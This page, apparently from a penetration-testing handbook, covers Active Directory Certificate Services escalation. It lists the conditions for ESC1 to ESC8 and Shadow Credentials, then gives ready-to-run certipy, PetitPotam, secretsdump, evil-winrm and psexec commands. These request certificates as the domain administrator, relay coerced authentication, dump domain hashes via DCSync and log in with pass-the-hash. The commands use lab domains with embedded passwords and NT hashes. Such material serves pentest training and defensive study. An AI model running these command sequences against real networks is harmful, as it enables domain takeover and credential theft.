> For the complete documentation index, see [llms.txt](https://book.redsquad.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.redsquad.xyz/windows-hacking/active-directory/2.-initial-attack-vectors/ad-cs/exploits.md).

# Exploits

## ESC1

> In order to abuse this misconfiguration, the following conditions must be met:
>
> * **The Enterprise CA grants low-privileged users enrollment rights**. The Enterprise CA’s configuration must permit low-privileged users the ability to request certificates. See the “Background — Certificate Enrollment” in the whitepaper paper for more details.
> * **Manager approval is disabled**. This setting necessitates that a user with certificate manager permissions review and approve the requested certificate before the certificate is issued. See the “Background — Certificate Enrollment — Issuance Requirements’ section in the whitepaper paper for more details.
> * **No authorized signatures are required**. This setting requires any CSR to be signed by an existing authorized certificate. See the “Background — Certificate Enrollment — Issuance Requirements” section in the whitepaper for more details.
> * **An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users**. Having certificate enrollment rights allows a low-privileged attacker to request and obtain a certificate based on the template. Enrollment rights are granted via the certificate template AD object’s security descriptor.
> * **The certificate template defines EKUs that enable authentication**. Applicable EKUs include Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).
> * **The certificate template allows requesters to specify a subjectAltName (SAN) in the CSR**. If a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT flag is present, a requester can specify the SAN. This is surfaced as the “Supply in request” option in the “Subject Name” tab in certtmpl.msc.

```bash
# enumerate
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12

# query the certificate
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local

# authentication with the pfx we request before
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
```

## ESC2 & ESC3

### ESC2

> In order to abuse this misconfiguration, the following conditions must be met:
>
> * **The Enterprise CA grants low-privileged users enrollment rights**. Details are the same as in ESC1.
> * **Manager approval is disabled**. Details are the same as in ESC1.
> * **No authorized signatures are required**. Details are the same as in ESC1.
> * **An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users**. Details are the same as in ESC1.
> * **The certificate template defines Any Purpose EKUs or no EKU**.

### ESC3

In order to abuse this misconfiguration, the following conditions must be met:

> * **The Enterprise CA grants low-privileged users enrollment rights**. Details are the same as in ESC1.
> * **Manager approval is disabled**. Details are the same as in ESC1.
> * **No authorized signatures are required**. Details are the same as in ESC1.
> * **An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users**. Details are the same as in ESC1.
> * **The certificate template defines the Certificate Request Agent EKU**. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals.
> * **Enrollment agent restrictions are not implemented on the CA**.

### Exploits

```bash
# ESC2
# query the cert
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA

# query cert with the Certificate Request Agent certificate we get before (-pfx)
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx

# auth
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12


# ESC3 & ESC3-CRA
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12
```

## ESC4

> Manager Approval requirement is enabled 
>
> An Authorized Signature is required to issue certificate 
>
> Subject Name cannot be supplied in request 
>
> Set "Encrypting File System" for Certificate Application Policy Extension 
>
> But if low privileged user account has WriteDacl for this template, these restrictions can be broken, and attackers can abuse it for domain escalation.

```bash
# Take the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got.
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old -debug

# Exploit ESC1 on the modified ESC4 template
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local

#     authentication with the pfx
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

# Rollback the template configuration
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json
```

## ESC6

> ESC6 is when the CA specifies the **EDITF\_ATTRIBUTESUBJECTALTNAME2** flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration.

```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local

certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
```

## ESC7

> During the engagement, Certify reported the presence of a CA (Certificate Authority) with an ACL that granted the **ManageCA** and **ManageCertificate** right to the **Authenticated Users** group, which in other words means that any domain account has these permissions.
>
> According to SpecterOps’ research this configuration has the following risks: 
>
> * **ManageCA** allows a user to change the CA’s settings, which, among other things, can be used to turn on SAN (**Subject Alternative Name**) to all the templates managed by the CA. SAN is an extension that allows a user to request a certificate linked to additional identities. This is the key behind the attack ESC1, because if a template has this extension, it is possible to request a valid certificate for **any domain account**. As we said, turning this on at CA level, makes the extension available to **all the CA’s templates** even if they don’t have it individually (allowing for the attack **ESC6**). 
> * **ManageCertificates** is less sensitive from a security perspective, but it allows a user to issue certificates that are **pending approval**.    

```bash
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' 
certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' 
certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn 'administrator@manager.htb' 
certipy ca -ca 'manager-DC01-CA' -issue-request 20 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' 
certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 20

# verify the clock
sudo ntpdate -u manager.htb

# connect as admin !
certipy auth -pfx administrator.pfx  -dc-ip 10.10.11.236

# evilwinrm or psexec.py
evil-winrm -i 10.10.11.236 -u administrator -H '$hash'

psexec.py manager.htb/administrator@manager.htb -hashes $hash -dc-ip 10.10.11.236
```

## ESC8

> In summary, if an environment has AD CS installed, along with a vulnerable web enrollment endpoint and **at least one certificate template published** that allows for domain computer enrollment and client authentication (like the default Machine template), then an attacker can compromise ANY computer with the spooler service running!

### certipy

```bash
# setup the listener :
certipy relay -ca 192.168.56.23 -template DomainController

# trig the coerce
petitpotam.py 192.168.56.1 meereen.essos.local

# we got the certificate so we can get the NT hash of the DC and also the TGT with the command :
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12 

# we can launch a DCsync with secretsdump and the ticket we get
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

# or with the hash

secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
```

## Shadow Credentials

> Shadow credentials attack consist of using the **GenericAll** or **GenericWrite** privilege on a user or computer to set up the attribute **msDS-KeyCredentialLink**. This attack is very usefull when you got **Write** on another user.

> With **genericWrite** you can only do:
>
> * Target Kerberoasting : add an SPN to a user, do a kerberoasting, unset the spn. But the user password must be weak to the kerberoasting attack work.
> * Set up a logon script : change ldap parameters to set up a logon script. but it implies that the user log to his computer, an smb server or a share to offer the script and setup a script that bypass the security solutions in place)
> * Shadow credentials : the attack we want to do, we need a cetificate service on the domain

> With **GenericAll** you can :
>
> * ForceChangePassword : but on a real pentest you don’t want to block a user by changing his password.

> So if ADCS is enabled on the domain, and we got **write** privilege on **msDS-KeyCredentialLink**, we can do the shadow credentials attack to get a direct access on the user account. And this seems to be the better idea in this case on a real pentest.

```bash
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'

certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'
```